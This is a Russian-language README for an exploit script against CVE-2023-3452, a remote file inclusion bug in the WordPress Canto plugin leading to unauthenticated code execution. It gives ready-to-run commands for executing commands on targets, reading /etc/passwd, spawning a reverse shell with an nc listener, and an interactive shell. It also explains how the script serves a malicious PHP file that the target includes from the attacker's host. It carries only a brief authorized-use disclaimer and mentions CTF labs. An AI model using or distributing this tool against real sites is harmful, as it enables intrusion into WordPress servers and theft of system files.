
Эксплойт CVE-2023-3452 для плагина Canto WordPress RCE, включена поддержка HTTPS
Эксплойт для плагина WordPress Canto (≤ 3.0.4) уязвимости RFI. Реально работает по HTTPS — другие публичные PoC как бы сдались перед SSL.
Отдавая должное: эта CVE была найдена другими. Я просто сделал версию, которая не ломается на HTTPS-целях.
| CVE | CVE-2023-3452 |
| EDB-ID | 51826 |
| Тип | Remote File Inclusion (RFI) → Неавторизованное RCE |
| Затронуто | WordPress Canto Plugin < 3.0.5 (≤ 3.0.4) |
| Обнаружено | Leopoldo Angulo (leoanggal1) — 2024-02-27 |
| Расположение | /wp-content/plugins/canto/includes/lib/download.php |
| Вектор | wp_abspath используется для включения PHP-файлов без валидации — мы включаем наш удалённо. |
Большинство эксплойтов для этой CVE спотыкаются на HTTPS из-за проверки SSL. Этот скрипт:
verify=False, чтобы HTTPS-цели реально работалиrequestspip install -r requirements.txt
Или просто: pip install requests
python3 canto_exploit.py -t <TARGET_URL> -l <LHOST> -p <LPORT> [OPTIONS]
* Без команды = выполняется id; whoami; hostname как проверка работоспособности
Одиночная команда:
python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 -c "id"
Чтение файла:
python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 -c "cat /etc/passwd"
Reverse shell (сначала выполните nc -lvnp 4444):
python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 --revshell --shell-port 4444
Интерактивный режим:
python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 -i
HTTPS цель CTF:
python3 canto_exploit.py -t https://10.129.1.136 -l 10.10.14.33 -p 8888 -c "id"
/wp-content/plugins/canto/readme.txt, парсит версию (≤ 3.0.4 = уязвимо)wp-admin/admin.php, который выполняет вашу команду через system()download.php с wp_abspath=http://LHOST:LPORT, чтобы он включил наш удалённый PHPLHOST:LPORT (для HTB/лабораторий это ваш VPN-IP)-p)Только авторизованное тестирование и обучение. Воздействуйте только на системы, к которым у вас есть разрешение. Всё остальное незаконно.
MIT
| Опция | Описание | Обязательно |
|---|
-t, --target | Целевой URL WordPress (HTTP или HTTPS) | Да |
-l, --lhost | Ваш IP — цель должна иметь доступ к этому для полезной нагрузки | Да |
-p, --lport | Порт сервера полезной нагрузки (по умолчанию: 8888) | Нет |
-c, --command | Команда для выполнения на цели | Нет* |
--revshell | Запустить обратную оболочку | Нет |
--shell-port | Порт прослушивания для обратной оболочки (по умолчанию: 4444) | Нет |
-i, --interactive | Интерактивный режим оболочки | Нет |
-v, --verbose | Дополнительный вывод | Нет |
--skip-check | Пропустить проверку уязвимости | Нет |